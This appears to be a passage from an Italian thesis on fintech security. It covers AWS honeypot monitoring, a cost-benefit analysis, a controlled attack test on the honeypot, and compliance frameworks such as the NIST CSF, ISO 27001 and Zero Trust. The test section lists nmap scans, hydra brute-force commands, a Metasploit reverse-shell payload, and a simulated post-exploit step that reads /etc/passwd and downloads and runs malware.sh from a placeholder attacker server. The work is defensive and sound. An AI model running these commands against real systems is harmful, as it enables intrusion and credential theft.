aws sns create-topic --name HoneypotAlerts --region eu-west-1
# Sottoscrizione email/lambda per ricevere notifiche
aws sns subscribe --topic-arn arn:aws:sns:eu-west-1:ACCOUNT_ID:HoneypotAlerts --protocol email --notification-endpoint security@your-fintech.com --region eu-west-1

# Configurazione di un allarme CloudWatch (esempio: alto traffico in ingresso sull'honeypot)
aws cloudwatch put-metric-alarm --alarm-name HoneypotHighNetworkInAlarm \
  --metric-name NetworkIn --namespace AWS/EC2 \
  --statistic Average --period 300 --threshold 1000000 \
  --comparison-operator GreaterThanOrEqualToThreshold \
  --dimensions Name=InstanceId,Value=i-xxxxxxxxxxxxxxxxx \
  --evaluation-periods 1 --unit Bytes \
  --alarm-actions arn:aws:sns:eu-west-1:ACCOUNT_ID:HoneypotAlerts \
  --region eu-west-1

# Creare regole EventBridge per inoltrare i findings di GuardDuty al topic SNS
# ... configurazione tramite console o AWS CLI ...
```

Listing 4.4: Configurazione (esemplificativa) del monitoraggio AWS

Simulazione di Servizi Finanziari (opzionale, per alta interazione)

Per rendere l'honeypot più attraente per attaccanti mirati al settore fintech, si potrebbero configurare servizi specifici (es. usando container Docker all'interno dell'honeypot) che simulano API di pagamento, portali fittizi, etc. Questo richiede un honeypot ad alta interazione e maggiore configurazione.

Configurazione di AWS WAF e Shield (opzionale)

Sebbene l'obiettivo sia attirare traffico, si potrebbe considerare l'uso di AWS WAF (Web Application Firewall) davanti a eventuali servizi web esposti dall'honeypot (se gestito tramite un Load Balancer) non per bloccare, ma per *registrare* tipi specifici di attacchi (SQLi, XSS) o per filtrare traffico di gestione legittimo. AWS Shield Standard è attivo di default per proteggere da attacchi DDoS di base.

4.4.4 Configurazioni di Sicurezza Aggiuntive

È cruciale isolare l'honeypot per evitare che diventi un punto di partenza per attacchi verso l'infrastruttura reale:

- **Network ACLs (NACLs)**: Configurare NACLs restrittive sulla subnet dell'honeypot per bloccare esplicitamente qualsiasi tentativo di comunicazione dall'honeypot verso le subnet di produzione.
- **Security Groups**: Il Security Group dell'honeypot dovrebbe permettere solo il traffico in ingresso necessario per i servizi esposti e limitare il traffico in uscita solo verso destinazioni note (es. endpoint CloudWatch Logs, server di aggiornamento).
- **IAM Roles**: Usare ruoli IAM con permessi minimi per l'istanza EC2 (es. solo per inviare log a CloudWatch).
- **Monitoraggio delle Configurazioni (AWS Config)**: Monitorare cambiamenti alla configurazione dell'honeypot (Security Groups, NACLs, etc.) per rilevare eventuali manomissioni.
- **Backup e Ripristino**: Avere un piano per ripristinare rapidamente l'honeypot da un'immagine pulita (AMI) nel caso venga compromesso in modo irrecuperabile.

4.5 Analisi dei Costi per una Startup Fintech

4.5.1 Stima dei Costi di Implementazione e Mantenimento

I costi dipendono fortemente dalla complessità dell'honeypot e dal traffico ricevuto. Una stima indicativa mensile per un setup base su AWS (regione eu-west-1, Irlanda) potrebbe includere:

A questi costi diretti AWS, vanno aggiunti:

- **Costi di personale**: Tempo dedicato all'analisi dei log e alla manutenzione. Anche poche ore a settimana possono incidere significativamente per una startup. L'analisi dei dati raccolti, come quelli mostrati in [75], richiede tempo.
- **Costi iniziali di implementazione**: Setup e configurazione (potrebbero essere necessarie alcune giornate uomo).
- **Costi di formazione**: Se il team non ha esperienza con honeypot o analisi di sicurezza.

Nota: L'uso di istanze più potenti (es. t2.medium per T-Pot), più storage, o un traffico di attacco molto elevato possono aumentare i costi. Soluzioni specifiche come quelle su AWS Marketplace [69] o integrazioni gestite [70], [76] avranno modelli di costo differenti.

4.5.2 Valutazione Costo-Beneficio per una Startup Fintech

Per una startup fintech, l'investimento in un honeypot deve essere valutato rispetto ai potenziali benefici:

Fattori a favore dell'implementazione:

- **Riduzione del rischio finanziario e reputazionale**: Il costo di una violazione dei dati nel settore finanziario può essere estremamente elevato, potenzialmente esistenziale per una startup. Il costo dell'honeypot è generalmente trascurabile in confronto.
- **Vantaggio competitivo**: Dimostrare un approccio maturo e proattivo alla sicurezza può aumentare la fiducia di clienti, partner e investitori.
- **Supporto alla conformità normativa**: Può contribuire a soddisfare alcuni requisiti relativi al monitoraggio delle minacce e alla gestione degli incidenti.
- **Intelligence specifica**: Fornisce dati preziosi sulle TTP degli attaccanti che prendono di mira specificamente i servizi fintech, permettendo di adattare meglio le difese reali.

Considerazioni economiche per una startup:

- **Budget limitato**: Il costo operativo, specialmente quello legato al tempo del personale per l'analisi, deve essere considerato attentamente.
- **Scalabilità**: L'approccio AWS permette di iniziare con un setup a basso costo e scalare se necessario.
- **Alternative**: Valutare se altre misure di sicurezza (es. WAF avanzato, test di penetrazione regolari) potrebbero offrire un ROI migliore nella fase iniziale.

Conclusione sulla valutazione costo-beneficio: Per la maggior parte delle startup fintech, data la sensibilità dei dati gestiti e l'attrattiva per gli attaccanti, l'implementazione di un honeypot (anche semplice) rappresenta probabilmente un investimento giustificato. Il rapporto costo-beneficio è favorevole se l'honeypot contribuisce a prevenire anche un singolo incidente minore o fornisce intelligence utile a rafforzare le difese primarie. Si consiglia di iniziare con un'implementazione a basso costo e bassa interazione, focalizzandosi sull'integrazione con i sistemi di alerting esistenti.

4.6 Test di Verifica: Esperimento di Attacco Controllato

4.6.1 Progettazione dell'Esperimento

Per verificare l'efficacia dell'honeypot implementato, è stato condotto un esperimento controllato simulando diverse tipologie di attacco comunemente utilizzate contro infrastrutture web e servizi esposti.

Obiettivi del Test

- Verificare la capacità dell'honeypot (ipotizziamo un T-Pot o simile) di rilevare e loggare correttamente varie tipologie di attacco.
- Testare l'efficacia del sistema di monitoraggio (CloudWatch Alarms, GuardDuty Findings) e di alerting (SNS).
- Valutare la qualità e l'utilità dei dati raccolti (IP sorgente, payload, comandi tentati).
- Identificare eventuali configurazioni errate o limitazioni del setup.

Metodologia

Il test è stato condotto da un indirizzo IP esterno controllato, utilizzando strumenti di scansione e attacco standard, simulando un aggressore esterno non mirato ma opportunistico.

1. Scansione delle porte e identificazione dei servizi esposti dall'honeypot.
2. Tentativi di accesso (brute force) su servizi comuni (SSH, Telnet, web login fittizi).
3. Tentativi di exploit su vulnerabilità note simulate dai servizi dell'honeypot (es. web server, database).
4. Interazione con shell simulate (se disponibili, es. tramite Cowrie all'interno di T-Pot).

4.6.2 Software e Comandi Utilizzati (Esempi)

Fase 1: Scansione e Ricognizione

```
# Scansione TCP SYN delle porte comuni e version detection
nmap -sS -sV -p 21,22,23,80,443,3306,8080 <honeypot-public-ip>

# Scansione UDP
# nmap -sU --top-ports 20 <honeypot-public-ip>

# Scansione aggressiva (OS detection, script)
# nmap -A -T4 <honeypot-public-ip>
```

Listing 4.5: Comandi Nmap per la scansione iniziale

Fase 2: Tentativi di Brute Force

```
# Brute force SSH
hydra -L users.txt -P passwords.txt ssh://<honeypot-public-ip>
    -t 4

# Brute force Telnet
hydra -L users.txt -P passwords.txt telnet://<honeypot-public-
   ip>

# Brute force su form di login web (esempio)
```

```
# hydra -l admin -P common-passwords.txt <honeypot-public-ip>
   http-post-form "/login.php:user=^USER^&pass=^PASS^:Login
   Failed"
```

Listing 4.6: Attacchi di forza bruta con Hydra

Fase 3: Tentativi di Exploit (Simulati)

Se l'honeypot emula servizi vulnerabili (es. tramite Kippo, Dionaea dentro T-Pot), si possono usare strumenti come Metasploit per interagire.

```
# msfconsole
# > use exploit/multi/handler # O exploit specifici se l'
   honeypot li simula
# > set PAYLOAD linux/x86/meterpreter/reverse_tcp
# > set LHOST <attacker-ip>
# > set RHOST <honeypot-public-ip>
# > exploit
```

Listing 4.7: Esempio di interazione con Metasploit (ipotetico)

L'honeypot dovrebbe loggare questi tentativi.

Fase 4: Interazione Post-Exploit (Simulata)

Se si ottiene accesso a una shell simulata (es. Cowrie [67]), l'honeypot registrerà i comandi eseguiti.

```
uname -a
ls -la /
cat /etc/passwd
wget http://<attacker-server>/malware.sh -O /tmp/m.sh
chmod +x /tmp/m.sh
/tmp/m.sh
exit
```

Listing 4.8: Comandi comuni eseguiti in shell compromesse simulate

4.6.3 Risultati Ottenuti (Ipotetici)

L'esperimento simulato dovrebbe generare i seguenti output nel sistema di monitoraggio:

Log dell'Honeypot (es. T-Pot / CloudWatch Logs)

- Log dettagliati delle connessioni in ingresso (IP sorgente, porta destinazione, timestamp).
- Credenziali usate nei tentativi di brute force (log di Cowrie, HonSSH).
- Payload di exploit tentati (log di Dionaea, Suricata).
- Comandi eseguiti nelle shell simulate (log di Cowrie).
- File scaricati dall'attaccante simulato (se supportato).

Findings di AWS GuardDuty

GuardDuty dovrebbe generare findings relativi a:

- 'Recon:EC2/Portscan': Rilevamento della scansione Nmap.
- 'UnauthorizedAccess:EC2/SSHBruteForce': Rilevamento del brute force SSH.
- 'UnauthorizedAccess:EC2/MaliciousIPCaller': Se l'IP attaccante è noto per attività malevole.
- Potenzialmente altri findings a seconda delle azioni e delle capacità di GuardDuty.

Allarmi AWS CloudWatch

- L'allarme sull'alto traffico di rete ('NetworkIn') dovrebbe scattare durante la scansione o il brute force.
- Altri allarmi configurati (es. alto utilizzo CPU) potrebbero attivarsi.

Notifiche SNS

Le notifiche email (o altre configurate) dovrebbero essere ricevute in base ai trigger degli allarmi CloudWatch e/o ai findings di GuardDuty inoltrati tramite EventBridge.

4.6.4 Analisi dei Risultati (Ipotetica)

L'esperimento controllato dimostrerebbe (ipoteticamente) che:

- L'honeypot rileva e registra correttamente le attività di scansione e brute force.

- I servizi AWS (GuardDuty, CloudWatch) forniscono un livello aggiuntivo di rilevamento e alerting automatico.
- I log raccolti (specialmente da honeypot come Cowrie/T-Pot) forniscono intelligence utile (credenziali tentate, comandi eseguiti).
- Il sistema di notifica funziona come previsto, allertando il team di sicurezza.
- L'uso di honeytokens [71] potrebbe ulteriormente arricchire i dati raccolti, ad esempio se venissero utilizzate credenziali fittizie piazzate nell'honeypot.

Questo conferma il valore dell'honeypot come strumento di rilevamento e raccolta intelligence nell'ambiente AWS della startup fintech.

4.7 Considerazioni Finali e Raccomandazioni

4.7.1 Sintesi dei Risultati

L'implementazione di un honeypot in un'infrastruttura AWS rappresenta una strategia di sicurezza proattiva valida ed economicamente accessibile per una startup fintech. Offre capacità di:

- Rilevamento precoce di scansioni e tentativi di intrusione.
- Raccolta di intelligence specifica sugli attaccanti interessati ai servizi offerti.
- Distrazione degli attaccanti dai sistemi di produzione reali.
- Integrazione con strumenti di monitoraggio e alerting AWS nativi.

I test controllati confermano l'efficacia del rilevamento e del logging per le tipologie di attacco più comuni.

4.7.2 Raccomandazioni per l'Implementazione

Sulla base dell'analisi effettuata, si raccomanda alle startup fintech di:

- **Iniziare in modo semplice**: Implementare un honeypot a bassa/media interazione (es. T-Pot, Cowrie) in un VPC isolato, con un focus sull'integrazione dell'alerting (GuardDuty, CloudWatch).
- **Isolare rigorosamente**: Utilizzare NACLs e Security Groups per impedire qualsiasi comunicazione dall'honeypot verso l'infrastruttura di produzione.

- **Automatizzare il monitoraggio**: Sfruttare al massimo CloudWatch Logs, GuardDuty e SNS/EventBridge per ridurre il carico di lavoro manuale di analisi.
- **Non fare affidamento esclusivo**: L'honeypot è uno strumento complementare, non sostitutivo, di altre misure di sicurezza fondamentali (WAF, IDS/IPS sulla rete di produzione, hardening, patch management, autenticazione forte, etc.).
- **Considerare la legalità e l'etica**: Essere consapevoli delle implicazioni legali relative alla raccolta di dati sugli attaccanti.
- **Pianificare la manutenzione**: Aggiornare regolarmente il software dell'honeypot e rivedere le configurazioni di sicurezza.

4.7.3 Sviluppi Futuri

L'implementazione di honeypot nel contesto fintech può evolvere:

- **Honeypot più sofisticati**: Creare honeypot ad alta interazione che simulino più realisticamente le API e i workflow fintech specifici dell'azienda.
- **Honeytokens mirati**: Disseminare credenziali API fittizie, token di accesso o dati di clienti simulati all'interno dell'honeypot (o anche nei sistemi di produzione) per rilevare compromissioni più profonde [71].
- **Analisi basata su ML/AI**: Utilizzare servizi AWS (es. SageMaker, GuardDuty ML) o strumenti esterni per analizzare i pattern di attacco raccolti e identificare anomalie o minacce emergenti.
- **Condivisione dell'intelligence**: Contribuire (in modo anonimizzato, se possibile) ai dati raccolti alle piattaforme di threat intelligence per migliorare la sicurezza della comunità.
- **Integrazione con SOAR**: Automatizzare le risposte agli alert generati dall'honeypot (es. blocco IP a livello di WAF/NACL) tramite piattaforme SOAR (Security Orchestration, Automation and Response).

In conclusione, l'honeypot AWS rappresenta un investimento strategico e tecnicamente fattibile per una startup fintech, migliorando la visibilità sulle minacce e rafforzando la postura di sicurezza complessiva a fronte di un costo gestibile, specialmente se confrontato con i potenziali danni di un incidente di sicurezza.

Capitolo 5

Compliance a standard internazionali e framework di sicurezza

Nel settore fintech, la cybersecurity è una pietra angolare fondamentale per proteggere i dati sensibili e mantenere la fiducia degli utenti [77]. Le startup fintech operano in un contesto altamente digitale – con pagamenti elettronici, mobile banking, criptovalute e API aperte – che offre efficienze senza precedenti ma introduce anche rischi significativi [77]. Tra le minacce più comuni vi sono violazioni di dati finanziari, furti di identità, frodi sulle transazioni e attacchi informatici mirati ai sistemi di pagamento [77]. A differenza delle banche tradizionali, le fintech nascono spesso con minori vincoli normativi iniziali e un time-to-market aggressivo; ciò porta talvolta a trascurare gli aspetti di sicurezza nelle prime fasi di sviluppo [77]. Release frequenti e rapide possono indurre queste aziende a **omettere o posticipare misure di sicurezza** non ritenute immediatamente essenziali al business [77]. Ne risulta che molte soluzioni fintech, sebbene innovative, possono presentare controlli di sicurezza parziali o deboli, aumentando la probabilità di violazioni rispetto a istituzioni finanziarie più regolamentate.

Oltre alle minacce tecniche, le fintech affrontano rigorose sfide di **compliance normativa**. Se operano in ambito pagamenti, devono soddisfare standard come il **PCI DSS** (Payment Card Industry Data Security Standard) per la protezione dei dati delle carte, nonché normative sulla protezione dei dati personali come il **GDPR**. Studi di settore mostrano come molte fintech siano ancora in ritardo su questi fronti: ad esempio, il 62% dei siti web principali di aziende fintech esaminati non era conforme agli standard PCI DSS e il 64% non rispettava i requisiti GDPR [78]. Allo stesso tempo, regolamentazioni finanziarie come la PSD2 (Payment Services Directive 2) impongono requisiti di sicurezza (es. autenticazione forte del cliente) e le fintech

che offrono servizi analoghi a quelli bancari possono trovarsi sottoposte a verifiche di **sicurezza informatica e continuità operativa** tipiche del settore finanziario tradizionale.

In questo contesto complesso, diventa cruciale adottare **principi di cybersecurity strutturati** e basati su framework riconosciuti a livello internazionale. Questi framework forniscono un approccio sistematico per identificare i rischi, implementare controlli adeguati e garantire la resilienza dei sistemi. Nel seguito del capitolo verranno analizzati i principali framework e standard di sicurezza informatica – dal **NIST Cybersecurity Framework** all'ISO/IEC 27001, da linee guida NIST specifiche (SP 800-53, SP 800-82 per l'OT e SP 800-63B per le password) ai modelli di **Zero Trust** – illustrando come possano essere applicati nella pratica alla protezione dell'infrastruttura cloud di una startup fintech, con particolare riferimento ai server e ai dati ospitati su **Amazon Web Services (AWS)**. Verranno inoltre discusse **best practice e strategie di mitigazione** delle minacce più comuni, considerando le peculiarità degli ambienti cloud-native come AWS e l'importanza di un approccio di "difesa in profondità" integrato con i requisiti normativi di settore.

Prima di addentrarci nei framework, è fondamentale richiamare il modello di responsabilità condivisa nel cloud: **AWS è responsabile della sicurezza "of the cloud"**, ovvero della protezione dell'infrastruttura fisica e dei servizi di base (data center, hardware, rete, virtualizzazione), mentre **al cliente spetta la sicurezza "in the cloud"**, cioè la configurazione sicura dei propri ambienti virtuali, la gestione di accessi, rete, dati e applicazioni [79]. In altri termini, una fintech su AWS deve comunque implementare adeguati controlli di rete, cifratura, identity management, monitoring e così via, costruendo su un foundation sicuro fornito dal cloud provider ma senza delegare totalmente la responsabilità. Tenendo presente questo principio, esaminiamo ora i framework di sicurezza e come essi guidano l'implementazione di misure difensive su AWS.

5.1 NIST Cybersecurity Framework (CSF)

Il **NIST Cybersecurity Framework (CSF)**, sviluppato dal National Institute of Standards and Technology statunitense, è un framework di riferimento ampiamente adottato a livello globale come base per la gestione del rischio cyber in organizzazioni di qualsiasi settore o dimensione [80]. Nato per proteggere le infrastrutture critiche, il CSF è strutturato in cinque funzioni fondamentali – **Identify, Protect, Detect, Respond, Recover** – che rappresentano il ciclo continuo di gestione della sicurezza. Recentemente, con la versione 2.0 del 2024, è stata aggiunta una sesta funzione **"Govern"**, a sottolineare l'importanza delle attività organizzative e di governance nella gestione del rischio cyber [81]. Ciascuna funzione si articola in categorie e sottocategorie di controlli di sicurezza, fornendo così una tassonomia delle capacità di

cybersecurity che un'azienda dovrebbe sviluppare. Ad esempio, il CSF include categorie che coprono l'identificazione degli asset critici, la protezione tramite controlli di accesso e cifratura, il monitoraggio continuo degli eventi di sicurezza, la gestione degli incidenti e la resilienza operativa post-attacco.

Per una fintech che opera su AWS, il NIST CSF fornisce una **mappa concettuale** per implementare misure di sicurezza cloud in modo coerente e completo. AWS stessa riconosce il CSF come framework di riferimento e mette a disposizione linee guida su come allineare i servizi AWS alle diverse funzioni del CSF [81]. In pratica:

5.1.1 Identify (Identifica)

riguarda l'inventario e la classificazione di risorse, dati, software e flussi critici. Su AWS ciò implica mappare tutti i servizi in uso (istanze EC2, database RDS, bucket S3, ecc.), identificare i dati sensibili (es. dati finanziari dei clienti) e valutarne l'impatto in caso di compromissione. Strumenti come AWS Config e AWS Resource Explorer aiutano a mantenere la visibilità sugli asset cloud. È importante anche identificare le dipendenze da terze parti (ad es. API bancarie, servizi di pagamento) e i rischi di supply chain, in linea con l'enfasi posta dal CSF 2.0 sulla sicurezza della catena di fornitura [81].

5.1.2 Protect (Proteggi)

comprende tutte le misure volte a salvaguardare servizi e dati. In un'infrastruttura AWS, ciò include la **protezione della rete cloud** tramite VPC ben progettati e segmentati (suddividendo ambienti di produzione, staging, test in subnet isolate), l'uso di **security group** e **ACL di rete** per filtrare il traffico, e l'adozione di firewall applicativi e servizi come AWS WAF per difendersi da attacchi web. Possono essere integrate soluzioni di terze parti per rafforzare il perimetro, come vedremo con Check Point Quantum. La funzione Protect copre anche la **sicurezza dei dati**: su AWS è fondamentale cifrare i dati sia **a riposo** (es. tramite AWS KMS per chiavi di cifratura gestite e abilitando la crittografia su EBS, S3, RDS, etc.) sia **in transito** (usando protocolli TLS per API ed endpoint, e VPN/IPSec per connessioni private). Il controllo degli accessi ai dati va implementato con rigidi permessi IAM e politiche di bucket S3 che limitino l'accesso solo ai ruoli o servizi autorizzati. Un altro aspetto chiave è la **gestione delle identità e degli accessi (IAM)**: il CSF prescrive di implementare il principio del minimo privilegio e misure di robusta autenticazione. AWS IAM consente di definire ruoli e policy granulari, abilitare l'MFA sugli account (compreso l'account root) e centralizzare la gestione identitaria (ad esempio integrando provider SAML/SSO per gli utenti). L'uso di IAM Roles con credenziali temporanee

per servizi e applicazioni riduce il rischio di credenziali statiche esposte. Queste misure rispecchiano i **principi Zero Trust** di non fidarsi mai implicitamente di un'entità e di verificare ogni richiesta (vedi sezione 5.4). Infine, Protect include la **protezione dei sistemi e delle applicazioni**: ciò si traduce in hardening delle istanze (patching sistematico di sistemi operativi e middleware, disabilitazione di servizi inutili), utilizzo di servizi gestiti AWS (es. RDS, Lambda) che sollevano dall'onere di gestire direttamente server e riducono la superficie d'attacco, e impostazione di backup regolari e meccanismi di disaster recovery (snapshots, replicazione tra region, etc.) per garantire resilienza (quest'ultimo aspetto sconfina con la funzione Recover).

5.1.3 Detect (Individua)

il framework enfatizza la capacità di rilevare tempestivamente eventi anomali e possibili incidenti. Su AWS, **logging e monitoring** sono fondamentali. Ogni risorsa cloud dovrebbe generare log appropriati: AWS CloudTrail per tracciare tutte le chiamate API e attività nell'account, AWS CloudWatch per metriche di sistema e applicative con allarmi in caso di valori fuori soglia, AWS Config per cambiamenti di configurazione. Servizi avanzati come Amazon GuardDuty forniscono un monitoraggio continuo delle minacce analizzando pattern di traffico e log (identificando ad esempio comportamenti anomali indicativi di credenziali compromesse o istanze malevoli). Analogamente, Amazon Macie può rilevare eventuali esposizioni di dati sensibili su S3. L'aggregazione centralizzata dei log (magari in un servizio come Amazon S3 o CloudWatch Logs) e la loro correlazione tramite un SIEM (AWS offre AWS Security Hub per correlare avvisi da vari servizi) consente di **abilitare alerting in tempo reale** verso il team di sicurezza. Queste capacità rispondono all'esigenza di *traceability*: ogni azione o modifica nell'ambiente cloud deve essere tracciata e monitorata [82].

5.1.4 Respond (Rispondi)

definisce le attività di **gestione degli incidenti** nel momento in cui si verifica un problema di sicurezza. Una startup fintech dovrebbe avere un piano di incident response anche se piccola: procedure per analizzare gli eventi, contenere l'incidente (ad esempio isolando istanze compromesse, ruotando chiavi/API key esposte), eliminare la minaccia e ripristinare i servizi. AWS mette a disposizione strumenti che aiutano nella risposta: ad esempio, AWS CloudTrail facilita le indagini forensi permettendo di ricostruire le azioni compiute da un aggressore nell'account; servizi come AWS IAM Access Analyzer possono essere usati per verificare e chiudere eventuali accessi non intenzionali; AWS Systems Manager Incident Manager aiuta a orchestrare la risoluzione coordinando notifiche e runbook automatici. È buona prassi effettuare simulazioni

di incidenti e game-day per allenare il team a rispondere efficacemente, come raccomandato anche dal Well-Architected Framework [82]. Inoltre, bisogna considerare gli adempimenti di notifica: in caso di violazione di dati personali, ad esempio, il GDPR impone la comunicazione al Garante entro 72 ore, quindi il processo di incident response deve includere escalation manageriali e legali.

5.1.5 Recover (Recupera)

riguarda la **resilienza operativa** e la capacità di ripristinare rapidamente i servizi dopo un incidente o un guasto, minimizzando l'impatto sugli utenti e sui partner. In AWS, questo significa disporre di backup offline e piani di **disaster recovery** testati. Una fintech potrebbe mantenere backup crittografati dei database finanziari (ad esempio usando AWS Backup per centralizzare e automatizzare i backup di RDS, EBS, DynamoDB, etc.) e predisporre infrastrutture di ripristino in una regione secondaria per far fronte a eventi catastrofici sulla regione primaria. Servizi come Amazon S3 garantiscono durabilità elevatissima per i dati (11 9's) e possono versionare gli oggetti in modo da recuperare dati alterati o cancellati per errore. Il recover include anche comunicazioni post-incidente e miglioramento continuo: dopo il ripristino è importante condurre un post-mortem, capire le lezioni apprese e aggiornare i controlli di sicurezza per prevenire il ripetersi dell'incidente [81].

5.2 ISO/IEC 27001 e Sistemi di Gestione della Sicurezza (ISMS)

L'**ISO/IEC 27001** è lo standard internazionale di riferimento per stabilire, implementare e mantenere un *Information Security Management System* (**ISMS**), ovvero un sistema di gestione della sicurezza delle informazioni a 360 gradi. Si tratta di un framework gestionale che adotta un approccio basato sul rischio per garantire **riservatezza, integrità e disponibilità** delle informazioni aziendali attraverso un insieme di controlli di sicurezza organizzativi, fisici e tecnici. ISO 27001 è riconosciuto globalmente ed è applicato da organizzazioni in tutti i settori come **benchmark** di best practice per la sicurezza [83].

Cuore della norma è il ciclo PDCA (Plan-Do-Check-Act) applicato alla sicurezza: l'azienda deve condurre una valutazione dei rischi (identificando asset informativi, minacce, vulnerabilità e impatti), quindi adottare controlli adeguati (selezionati da una lista di riferimento nell'Annex A dello standard, che contiene 93 controlli suddivisi per tematiche nella versione 2022, tra cui politiche di sicurezza, sicurezza delle risorse umane, controllo accessi, criptografia, sicurezza fisica, sicurezza operativa, sicurezza

delle comunicazioni, controllo fornitori, gestione incidenti, continuità operativa, compliance, ecc.), monitorare e riesaminare periodicamente l'efficacia di tali controlli, e migliorare continuamente il sistema. La certificazione ISO 27001, rilasciata da un ente terzo accreditato, attesta che l'organizzazione segue questo processo e rispetta tutti i requisiti dello standard.

Per una startup fintech, ottenere la certificazione ISO 27001 può rappresentare un fattore abilitante di fiducia sul mercato – specialmente se si rivolge a clientela enterprise o bancaria – ma anche una sfida data la mole di processi e misure da implementare. L'adozione di servizi cloud AWS può tuttavia facilitare il raggiungimento della conformità ISO 27001. Innanzitutto, AWS stesso è certificato ISO/IEC 27001 per la propria infrastruttura globale di servizi cloud (oltre che per altri standard come ISO 27017 per i controlli cloud-specific e ISO 27018 per la privacy nel cloud), il che significa che i data center e i servizi AWS sono gestiti secondo controlli di sicurezza riconosciuti. Questo aiuta la fintech a concentrarsi sui controlli applicativi e organizzativi, sapendo che molti requisiti di base – ad esempio sulla protezione fisica dei server, il controllo degli accessi ai locali, la continuità elettrica e di rete – sono già coperti e attestati dalla piattaforma AWS. Tuttavia, la **responsabilità dell'implementazione** rimane al cliente per tutti i controlli relativi ai propri dati e configurazioni nel cloud (cfr. modello di responsabilità condivisa). Ad esempio, ISO 27001 richiede di controllare gli accessi logici: la fintech dovrà definire policy IAM, regole di password e uso di MFA in AWS per soddisfare tale controllo. Richiede di tenere registri degli eventi: la fintech dovrà configurare logging (CloudTrail, etc.) e conservarne le evidenze. Richiede di cifrare informazioni sensibili: la fintech dovrà abilitare la crittografia nei servizi AWS dove risiedono dati critici.

5.3 NIST SP 800-53 – Catalogo di Controlli di Sicurezza

Il framework NIST SP 800-53 fornisce un **catalogo completo di controlli di sicurezza e privacy** per sistemi informativi, originariamente sviluppato per le agenzie federali USA ma ormai adottato come riferimento anche da molte organizzazioni nel settore privato [83]. Si tratta quindi di uno standard più **prescrittivo e tecnico**, che copre aspetti di sicurezza logica, fisica, procedurale e del personale, organizzati in diverse famiglie di controlli. L'ultima revisione (Rev. 5) del NIST 800-53 contiene **20 famiglie di controlli** principali [83], tra cui ad esempio:

1. **AC – Access Control** (controllo degli accessi)
2. **IA – Identification and Authentication** (identificazione e autenticazione)

3. **SC – System and Communications Protection** (protezione dei sistemi e delle comunicazioni, es. cifratura, segregazione di rete)
4. **SI – System and Information Integrity** (integrità dei sistemi e delle informazioni, es. anti-malware, gestione vulnerabilità, monitoraggio)
5. **AU – Audit and Accountability** (audit e tracciabilità, es. logging)
6. **IR – Incident Response** (risposta agli incidenti)
7. **CP – Contingency Planning** (piani di emergenza e DR)
8. **PE – Physical and Environmental Protection** (sicurezza fisica)
9. **PS – Personnel Security** (sicurezza del personale, background check, ecc.)
10. **...** (oltre a **Risk Assessment**, **Security Assessment**, **Configuration Management**, **Training**, **Maintenance**, **Supply Chain Risk Management**, ecc.)

In totale, l'800-53 Rev.5 cataloga circa 1000 controlli di sicurezza, da cui vengono derivati dei **controlli di baseline** (Low, Moderate, High) in base al livello di impatto del sistema [83]. Ad esempio, un sistema *Moderate* (come potrebbe essere un sistema fintech con dati sensibili ma non classificati) deve implementare tutti i controlli del baseline Moderate, che sono un sottoinsieme di quelli totali, selezionati in base a un'analisi del rischio. Le organizzazioni possono poi *personalizzare* (tailor) il baseline aggiungendo o escludendo controlli a seconda delle esigenze specifiche e dei requisiti normativi applicabili [83].

Dal punto di vista di AWS, è importante notare che **l'infrastruttura AWS è già stata validata rispetto ai controlli NIST 800-53** (Rev.4) nell'ambito delle certificazioni FedRAMP Moderate/High per i servizi AWS [80]. Ciò significa che AWS ha superato audit di terza parte che attestano la presenza di controlli di sicurezza allineati a 800-53 per quanto riguarda la piattaforma cloud sottostante [80]. AWS ha ottenuto "Authority to Operate" FedRAMP per molte region (inclusa GovCloud) proprio in base a questi controlli [80]. Per la fintech cliente, questo non significa automaticamente essere conforme a 800-53, ma fornisce una base solida: ad esempio, i controlli di sicurezza fisica (PE) e ambientale, molti controlli di rete (SC), e parte di quelli di monitoraggio (SI) sono già soddisfatti dall'ambiente AWS stesso. Rimane al cliente implementare i controlli a livello di applicazione e configurazione cloud (ad es., definire ruoli IAM – controllo AC-2, o abilitare il versioning su S3 – parte di SC e SI, ecc.). AWS fornisce anche strumenti come **AWS Audit Manager** con regole predefinite per NIST 800-53, che consentono di valutare l'account AWS rispetto ai controlli di tale framework e collezionare evidenze in caso di audit [84].

5.4 Architettura Zero Trust (ZTA)

Tradizionalmente, la sicurezza informatica aziendale si basava su un modello di **difesa perimetrale**: si creava una rete aziendale considerata "fidata" all'interno, separata dall'esterno non fidato tramite firewall e altre barriere (il cosiddetto modello "castle and moat"). Tuttavia, con l'evoluzione delle minacce e soprattutto con la distribuzione di sistemi su cloud, utenti mobili, telelavoro e dispositivi personali, questo paradigma è diventato inefficace. Nasce così il concetto di **Zero Trust**, formalizzato anche dal NIST nel documento SP 800-207, che rivoluziona l'approccio: *non si deve mai implicitamente fidare di nulla, sia all'interno che all'esterno del perimetro, ma verificare esplicitamente ogni richiesta di accesso a risorse aziendali* [85]. In un'Architettura Zero Trust (**ZTA**), le difese non sono più incentrate su una rete interna considerata sicura, ma **sull'identità degli utenti e dei dispositivi, e sul contesto delle richieste**, indipendentemente dalla loro provenienza.

I principi cardine della Zero Trust, come delineati dal NIST, includono: **nessuna fiducia implicita basata su posizione di rete** (essere su una rete interna non concede privilegi di per sé) [85]; **autenticazione e autorizzazione continue** per ogni accesso, convalidando sia l'utente che il dispositivo prima di consentire comunicazioni [85]; **micro-segmentazione** delle risorse per minimizzare il movimento laterale – ovvero, anche all'interno dell'infrastruttura, segmentare applicazioni, servizi e database in piccole zone con regole di accesso rigorose; **principio del privilegio minimo dinamico**, adattando i permessi in base al contesto (orario, geolocalizzazione, integrità del dispositivo, comportamento anomalo); **monitoraggio e verifica costante** del traffico e dei comportamenti per rilevare eventuali compromissioni. In sintesi, Zero Trust "sposta" il confine di fiducia dal network all'entità che richiede l'accesso, in un modello in cui **ogni transazione è autenticata, criptata e validata** in modo robusto, come se provenisse da un ambiente non fidato, anche se in realtà avviene all'interno del sistema.

5.5 Sicurezza OT (Tecnologie Operative) – NIST SP 800-82

Nel dominio della cybersecurity aziendale, oltre all'IT tradizionale (server, applicazioni, dati), acquista importanza la protezione delle **tecnologie operative (OT)**, ossia quei sistemi digitali che interagiscono con il mondo fisico. Le aziende fintech, essendo principalmente nel settore finanziario digitale, generalmente non operano impianti industriali o infrastrutture OT su larga scala come farebbe una utility o una fabbrica. Tuttavia, è possibile che alcune componenti fisiche rientrino nel perimetro di una fintech: si pensi ad esempio agli **ATM/Bancomat**, ai dispositivi POS smart,

